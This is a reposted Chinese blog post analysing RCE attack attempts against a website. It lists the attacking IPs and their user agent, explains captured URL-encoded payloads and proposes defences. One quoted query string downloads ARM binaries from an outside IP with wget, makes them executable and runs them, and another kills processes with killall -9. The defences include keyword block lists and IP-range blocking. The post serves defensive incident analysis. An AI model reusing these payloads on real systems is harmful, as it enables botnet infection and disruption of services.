0


远程代码执行(Remote Code Execution, RCE)攻击案例分析与应对策略

最近网站监测到一批以用户代理为
KrebsOnSecurity
的IP对网站进行的RCE攻击。

一、IP地址:
序号IP归属地运营商15.189.156.66德国 巴伐利亚邦 慕尼黑Contabo GmbH238.114.122.184美国 德克萨斯州 达拉斯GTHost337.221.92.105德国 黑森州 美因河畔法兰克福Ferdinand Zink trading as Tube-Hosting4198.58.119.43美国 德克萨斯州 理查森阿卡迈5185.254.96.212德国 巴伐利亚邦 纽伦堡dataforest GmbH6185.224.128.83荷兰 北荷兰省 阿姆斯特丹Alsycon B.V.7148.72.144.23美国 密苏里州 圣路易斯GoDaddy.com, LLC
二、IP的用户代理均为:KrebsOnSecurity

三、攻击方式为:URL+“/shell”+“攻击查询字符串”

一)、字符串之一:

cd+%2ftmp%3brm+arm+arm7%3bnohup+wget+http%3a%2f%5c%2f147.78.103.44%2farm7%3bchmod+777+arm7%3b.%2farm7+jaws%3bnohup+wget+http%3a%2f%5c%2f147.78.103.44%2farm5%3bchmod+777+arm5%3b.%2farm5+jaws%3bnohup+wget+http%3a%2f%5c%2f147.78.103.44%2farm%3bchmod+777+arm%3b.%2farm+jaws

这个查询字符串包含了一些潜在的恶意命令,具体如下:

  1. cd /tmp:改变当前目录到 /tmp 目录。
  2. rm arm arm7:删除 armarm7 文件。
  3. nohup wget****http://147.78.103.44/arm7; chmod 777 arm7; ./arm7 jaws:下载 arm7 文件并赋予其执行权限,然后执行它。
  4. nohup wget****http://147.78.103.44/arm5; chmod 777 arm5; ./arm5 jaws:下载 arm5 文件并赋予其执行权限,然后执行它。
  5. nohup wget****http://147.78.103.44/arm; chmod 777 arm; ./arm jaws:下载 arm 文件并赋予其执行权限,然后执行它。

这里有几个问题:

  • nohup:使命令在后台运行,即使终端关闭也不会停止。
  • wget:从指定的 URL 下载文件。
  • chmod 777:赋予文件所有权限(读、写、执行)。
  • ./filename:执行文件。

这些命令组合在一起,可能会:

  • 删除某些文件。
  • 下载并执行不明文件,这些文件可能包含恶意代码。

这些行为可能会对系统安全造成威胁,尤其是当这些命令在没有适当权限的情况下执行时。

这个查询字符串描述的行为属于一种远程代码执行(Remote Code Execution, RCE)攻击。具体来说,它涉及以下几个方面:

  1. 远程下载执行:通过 wget 命令从远程服务器下载文件,然后执行这些文件。这允许攻击者在受害者的系统上执行任意代码。
  2. 权限提升:使用 chmod 777 命令将下载的文件权限设置为最高级别,允许任何用户读取、写入和执行该文件。
  3. 持久性:使用 nohup 命令确保即使终端关闭,下载和执行的进程也会继续运行。
  4. 隐蔽性:通过在命令中使用URL编码(如 %2f 代表 /%3b 代表 ;),攻击者试图绕过简单的输入过滤机制。
  5. 潜在的恶意行为:下载的文件名 arm7arm5arm 以及执行的命令 jaws 暗示这些文件可能是恶意软件的一部分,用于进一步的恶意活动。

这种攻击方式可以允许攻击者在受害者的系统上执行恶意代码,获取系统控制权,窃取数据,或者作为进一步攻击的跳板。因此,这种类型的攻击是非常危险的,需要通过安全措施来预防和检测。

二)、字符串之二:

killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-

这个查询字符串描述的行为属于一种服务拒绝攻击(Denial-of-Service, DoS),更具体地说,是进程终止攻击。这种攻击的目的是使系统或应用程序的服务中断或降低其性能。以下是这种攻击的几个关键特点:

  1. 强制终止关键进程:使用 killall -9 命令强制终止系统上运行的关键进程,如 /bin/sh,这可能导致系统服务不可用或崩溃。
  2. 滥用 SIGKILL 信号-9 参数代表 SIGKILL 信号,该信号不能被进程捕获或忽略,导致进程立即终止,没有机会进行正常关闭或清理。
  3. 潜在的系统不稳定:终止关键系统进程可能导致系统不稳定或崩溃,影响正常用户和服务的运行。
  4. 重复命令:查询字符串中包含重复的 killall -9 /bin/sh 命令,这可能是为了确保进程被终止,进一步增加了攻击的破坏性。
  5. 未指定目标的终止命令:查询字符串末尾的 killall -9 没有指定目标进程名,这可能是一个错误,或者可能是一个尝试终止尽可能多的进程的行为,增加了攻击的不确定性和破坏性。

总的来说,这种攻击可能旨在通过终止关键进程来破坏系统的正常运行,属于一种破坏性较强的攻击手段。系统管理员需要采取措施来检测和防止这类攻击,以保护系统的稳定性和安全性。

四、应对策略:

1、加强对查询字符串中特定字符的检测

如检测查询字符串中是否包含:killall,shell,chmod,wget,HTTP://等,一旦检测到这些特定字符串,将其IP列入黑名单,在防火墙中予以阻止。

2、加强IP的用户代理检测

检测用户代理部分是否包含:KrebsOnSecurity,一旦检测到这些特定字符串,将其IP列入黑名单,在防火墙中予以阻止。

3、加强对查询字符串长度的检测

根据自身网站的具体情况,对查询字符串的长度设定一个阈值,对超过设定阈值的访问一律判定为恶意访问,将其IP列入黑名单,在防火墙中予以阻止。

4、对不做海外业务的网站,可以对相应的网段进行阻止

如对上述IP所属网段进行封锁

5.189.0.0/16

38.114.0.0/16

37.221.0.0/16

198.58.0.0/16

185.254.0.0/16

185.224.0.0/16

148.72.0.0/16


本文转载自: https://blog.csdn.net/sunsharer/article/details/140776698
版权归原作者 sunsharer 所有, 如有侵权,请联系我们删除。

“远程代码执行(Remote Code Execution, RCE)攻击案例分析与应对策略”的评论:

还没有评论